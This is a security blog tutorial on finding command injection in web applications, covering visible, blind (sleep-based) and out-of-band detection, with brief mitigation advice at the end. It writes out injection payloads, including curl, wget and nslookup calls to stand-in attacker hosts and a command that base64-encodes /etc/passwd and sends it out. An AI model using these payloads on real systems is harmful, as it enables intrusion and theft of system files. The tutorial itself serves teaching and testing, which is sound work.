Finding Command Injection

Author: HollyGraceful    Published: 07 June 2021

Command Injection vulnerabilities are a class of application security issue where an attacker can cause the application to execute an underlying operating system command. Command Injection vulnerabilities occur where user supplied input is insecurely included within an operating system command, allowing an attacker to execute additional commands or alter the syntax of the executed command. This vulnerability typically allows for confidential data theft and may allow a threat actor to target internal network connections for further attacks. It can typically be exploited simply by chaining commands along with the expected input by using shell control characters such as:

`
&
or
|

Developers have a variety of reasons why they might want their web applications to execute underlying operating system commands. One example could be an application that allows a user to check if a host is online by pinging its IP address. The URL for this function could look something like this:

http://ci.example.org/test.php?address=127.0.0.1

The output of this type of hypothetical function could be something like this:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.053 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.074 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.084 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.082 ms

However if user input is insecurely passed to this function a user could chain a command on the end, such as " && id" and this would be executed along with the main command. For the above example we could include out payload like this:

http://ci.example.org/test.php?address=127.0.0.1 && id

In this case a vulnerable function could execute with output such as this:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.053 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.074 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.084 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.082 ms
uid=0(root) gid=0(root) groups=0(root)

As you might guess from above, the user gains the permissions that the affected application has, so if it’s running as www-data or root you’d get that privilege level. This is therefore potentially an easy way to compromise a box and potentially allow an attacker to take over the webserver, deface the application or steal confidential data!

However things get more complicated for the attacker is the system does not show the output in the application itself, it might just silently execute the command and output something generic like “Success” or “done”. If this is the case an attacker can still determine the existence of the vulnerability and blindly exploit it by inferring information from the server response.

For example imaging chaining to the end of the input the Linux command “sleep”, such as:

http://ci.example.org/blind.php?address=127.0.0.1 && sleep 10

With this request the output, if vulnerable, would come through as expected with the “Success” message, however it would take a noticeable about of time to return – something around 10 seconds longer than without the payload. To determine if this was just a slow server, you could try multiple different delay levels to see if the received delay matches the expected amount. So sleep 10 causes approximately a 10 second delay and sleep 30 causes approximately a 30 second delay, reducing the likelihood that this is a false positive.

A vulnerability of this nature would be referred to as Blind Command Injection. Before I get on to how to utilise that as an attacker however, there’s one more type to deal with. Blind injection with out-of-band detection. This class occurs if a system is vulnerable but no change in output can be perceived through the application. For example if the application executes the request in a new process thread, so delaying the server through the “sleep” command doesn’t work (or at least can’t be perceived through the application response itself).

In this case we can get our “noticeable change” by calling out to another server and monitoring that server for requests. For example you could try a payload like the following:

http://ci.example.org/blind.php?address=127.0.0.1 && wget http://attacker.example.net/?attacksuccessful

This would cause an affected (Linux) server to call out to the attacker’s machine. The wget command requests the server download a web page. Therefore the attacker could see that the payload worked successfully as their logs would show a GET request to the file: /?attacksuccessful.

Payloads can be incredibly varied as the attacker has an awful lot of flexibility, but a few simple ones are things like:

`nslookup attacker.example.org`
`wget http://attacker.example.org/?attack`
`curl http://attacker.example.org/?attack`
&& curl http://attacker.example.org/?attack
| curl http://attacker.example.org/?attack
$(curl http://attacker.example.org/?attack)
; curl http://attacker.example.org/?attack;

Now to turn that into a viable attack payload to, for example, steal confidential files the attacker could try chaining the contents of the file in the request to the attackers server! A payload like this would be effective:

&& wget http://attacker.example.net/?attacksuccessful:`cat /etc/passwd | base64` 

Here the attacker is taking the contents of the confidential file /etc/password, encoding it with base64 so that it’s possible to transmit it in a URL and then using the wget command again to send that file in a HTTP GET request to the attacker controlled server! One thing to remember is that the base64 command will line wrap by default after 76 characters, but you can use -w 0 parameter to disable this, like this:

&& wget http://attacker.example.net/?attacksuccessful:`cat /etc/passwd | base64 -w 0`


In order to prevent command injection vulnerabilities, the process of passing commands to the operating system for execution should be minimised wherever possible. If a legitimate business reason exists for this action then strict user input filtering should be applied. Additionally, system hardening such as limiting outgoing traffic through a firewall would mitigate out-of-band exploitation.

Again, the minimum characters to consider dangerous in regards to this issue are:

` & | $ ( ) ;

That's it!